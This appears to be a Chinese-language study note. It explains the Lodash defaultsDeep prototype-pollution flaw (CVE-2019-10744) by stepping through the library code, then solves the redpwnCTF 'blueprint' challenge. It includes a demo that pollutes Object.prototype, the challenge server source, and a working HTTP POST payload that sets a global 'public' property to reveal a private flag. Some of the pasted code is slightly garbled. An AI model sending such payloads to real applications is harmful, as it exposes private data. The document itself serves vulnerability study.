所需知识

CVE-2019-10744

Lodash 是一个 JavaScript 库,其中defaultsDeep在Lodash<4.17.12的版本下可能会造成全局的原型链污染

这里我选择4.17.11版本的Lodash库

1
npm install Lodash@4.17.11

defaultsDeep方法

defaultsDeep用来合并两个对象,并且会递归的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const _ = require("lodash")

var a={"name":"a","age": 22,"hobby":["跑步","玩游戏"],family:{"father":"Sam"}}

var b={"name":"b","age": 20,"hobby":["跑步","弹琴"],"weight":"65",family:{"father":"Musk","mother":"Alice"}}


var c= _.defaultsDeep(a,b)

console.log(c)
/*
{
name: 'a',
age: 22,
hobby: [ '跑步', '玩游戏' ],
family: { father: 'Sam', mother: 'Alice' },
weight: '65'
}
/*

从结果可以看出,

  • defaultsDeep方法会以a为基准,去寻找b中存在而a中不存在的属性,然后合并;
  • 对于a和b对象中都存在的属性,则不会进行覆盖;
  • 会对嵌套对象进行递归操作;
  • 最终把合并结果赋给c

具体的递归逻辑是:

拿mother这个属性为例,

当defaultsDeep发现a.family中没有mother这个属性,就会执行

1
c.family.mother=b.family.mother

,这一步很重要,决定了为什么能产生原型链污染

测试Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const _=require("lodash")

var a = {"name":"lanb0"}
var obj={"msg":"hello"}
//污染原型链顶层Object的变量
var b= {"constructor":{"prototype":{"msg":"hacked!"}}}
var c =_.defaultsDeep(a,b)

//打印结果

console.log(obj.msg)
//hello
console.log(a.msg)
//hacked!
console.log(c.msg)
//hacked!
console.log({}.msg)
//hacked!

通过测试结果可以看出,位于最顶层的Object对象的msg属性被污染了,导致全局下的任何没有msg属性的对象都被污染

具体原理:

任何实例对象的构造器都是Object,而Object又位于原型链的最顶层

1
2
console.log(c.constructor===Object)
//true

漏洞分析

首先下断点

我的vscode会直接跳到overRest,但其实前面还有几步函数栈,为了逻辑完整,我就一步步来说

发现defaultDeep其实是一个函数引用,

真正调用的是baseRest,其中传递了一个匿名函数作为参数,

跟进baseRest,

overRest方法是函数栈的最上层,而且overRest的代码区第一行不是函数调用,所以编译器给我们直接jmp到这里也是对的

跟进overRest,

跟进apply

这里通过变量监控可以知道length为1,thisArg是lodash自己的一个对象,args具体如下

func就是传给baseRest函数的那个匿名函数,

然后带着args作为参数执行这个func

1
args.push(undefined, customDefaultsMerge);

把undefined和customDefaultsMerge函数添加到args数组末尾

1
return apply(mergeWith, undefined, args);

又执行apply,跟进要执行的方法,现在是mergeWith

跟进createAssigner

assigner就是传进来的匿名函数引用,也就是baseMerge方法

跟进baseMerge

baseMerge方法主要分别两个阶段,第一阶段判断原对象和目标对象是否相等,也就是开头所讲的如果a的某个属性和b的某个属性相等就啥都不干

第二个阶段是在属性不相等的情况下,执行baseFor 函数,它可以用来遍历一个对象的属性,并对每个属性执行一个回调函数。

因为我们的srcValue是{prototype:{msg:”hacked!”}},是一个对象,所以执行的是baseMergeDeep,

跟进baseMergeDeep,

safeGet是检测属性名是否合法,本意上用来防止原型链污染,但很可惜,官方只检测了__proto__,却忘记了用构造器可以直接获取原型对象的老大Object

回到baseMergeDeep函数,因为stacked为undefined,所以执行

1
customizer(objValue, srcValue, (key + ''), object, source, stack)

customizer是customDefaultsMerge方法的引用,

跟进customDefaultsMerge,

这里objValue是Object对象,srcValue则是我们的{prototype:{msg:”hacked!”}},所以执行baseMerge

所以这也是开头提到的递归机制

跟进baseMerge方法,重复之前的过程,这次我们直接到第二次来到5598行的isObject判断

这此的objValue依然是Object对象,而srcValue则是字符串”hacked!”,所以不会进入if里面

直接来到assignMergeValue,

跟进assignMergeValue,

这里判断值是不是undefined,是否是对象里的键,以及是否与原对象的键值相同

跟进baseAssignValue,

最终完成了Object.prototype.msg=”hacked!”的污染

[redpwnctf] blueprint

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
const crypto = require('crypto')

const http = require('http')

const mustache = require('mustache')

const getRawBody = require('raw-body')

const _ = require('lodash')

const flag = require('./flag')

const indexTemplate = `

<!doctype html>

<style>

body {

background: #172159;

}

* {

color: #fff;

}

</style>

<h1>your public blueprints!</h1>

<i>(in compliance with military-grade security, we only show the public ones. you must have the unique URL to access private blueprints.)</i>

<br>

{{#blueprints}}

{{#public}}

<div><br><a href="/blueprints/{{id}}">blueprint</a>: {{content}}<br></div>

{{/public}}

{{/blueprints}}

<br><a href="/make">make your own blueprint!</a>

`

const blueprintTemplate = `

<!doctype html>

<style>

body {

background: #172159;

color: #fff;

}

</style>

<h1>blueprint!</h1>

{{content}}

`

const notFoundPage = `

<!doctype html>

<style>

body {

background: #172159;

color: #fff;

}

</style>

<h1>404</h1>

`

const makePage = `

<!doctype html>

<style>

body {

background: #172159;

color: #fff;

}

</style>

<div>content:</div>

<textarea id="content"></textarea>

<br>

<span>public:</span>

<input type="checkbox" id="public">

<br><br>

<button id="submit">create blueprint!</button>

<script>

submit.addEventListener('click', () => {

fetch('/make', {

method: 'POST',

headers: {

'content-type': 'application/json',

},

body: JSON.stringify({

content: content.value,

public: public.checked,

})

}).then(res => res.text()).then(id => location='/blueprints/' + id)

})

</script>

`

// very janky, but it works

const parseUserId = (cookies) => {

if (cookies === undefined) {

return null

}

const userIdCookie = cookies.split('; ').find(cookie => cookie.startsWith('user_id='))

if (userIdCookie === undefined) {

return null

}

return decodeURIComponent(userIdCookie.replace('user_id=', ''))

}

const makeId = () => crypto.randomBytes(16).toString('hex')

// list of users and blueprints

const users = new Map()

http.createServer((req, res) => {

let userId = parseUserId(req.headers.cookie)

let user = users.get(userId)

if (userId === null || user === undefined) {

// create user if one doesnt exist

userId = makeId()

user = {

blueprints: {

[makeId()]: {

content: flag,

},

},

}

users.set(userId, user)

}

// send back the user id

res.writeHead(200, {

'set-cookie': 'user_id=' + encodeURIComponent(userId) + '; Path=/',

})

if (req.url === '/' && req.method === 'GET') {

// list all public blueprints

res.end(mustache.render(indexTemplate, {

blueprints: Object.entries(user.blueprints).map(([k, v]) => ({

id: k,

content: v.content,

public: v.public,

})),

}))

} else if (req.url.startsWith('/blueprints/') && req.method === 'GET') {

// show an individual blueprint, including private ones

const blueprintId = req.url.replace('/blueprints/', '')

if (user.blueprints[blueprintId] === undefined) {

res.end(notFoundPage)

return

}

res.end(mustache.render(blueprintTemplate, {

content: user.blueprints[blueprintId].content,

}))

} else if (req.url === '/make' && req.method === 'GET') {

// show the static blueprint creation page

res.end(makePage)

} else if (req.url === '/make' && req.method === 'POST') {

// API used by the creation page

getRawBody(req, {

limit: '1mb',

}, (err, body) => {

if (err) {

throw err

}

let parsedBody

try {

// default values are easier to do than proper input validation

parsedBody = _.defaultsDeep({

publiс: false, // default private

ntent: '', // default no content

}, JSON.parse(body))

} catch (e) {

res.end('bad json')

return

}

// make the blueprint

const blueprintId = makeId()

user.blueprints[blueprintId] = {

content: parsedBody.content,

public: parsedBody.public,

}

res.end(blueprintId)

})

} else {

res.end(notFoundPage)

}

}).listen(80, () => {

console.log('listening on port 80')

})

主要突破点在:

1
2
3
4
5
6
7
8
9
10
11
12
13
user = {

blueprints: {

[makeId()]: {

content: flag,

},

},

}

可以看到flag的对象并没有设置public属性为false,而仅仅是不设置,所以可以直接用defaultsDeep打全局变量污染

还有一个点,不知带是我复制的时候的问题,还是出题人故意设置的,就是混淆编码

1
2
3
4
5
6
7
8
9
10
11
12
13
parsedBody = _.defaultsDeep({



​ publiс: false, // default private



​ cоntent: '', // default no content



​ }, JSON.parse(body))

可以看到按常理来说,public永远为false,因为defaultsDeep的机制就是不会对同名变量进行覆盖,但这里用编译器,比如vscode打开他会提示你这个c和正常的字符”c”是不一样的,而且容易混淆,所以说这个public和

1
2
3
4
5
6
7
user.blueprints[blueprintId] = {

content: parsedBody.content,

public: parsedBody.public,

}

这里赋值的public并不相同,所以我们可以进行污染

最终Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /make HTTP/1.1
Host: 192.168.40.131:8004
Content-Length: 72
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.121 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://192.168.40.131:8004
Referer: http://192.168.40.131:8004/make
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_id=5a808b98384f0da2336bbe45def31ee8
Connection: close

{"content":{"constructor":{"prototype":{"public":true}}},"public":true}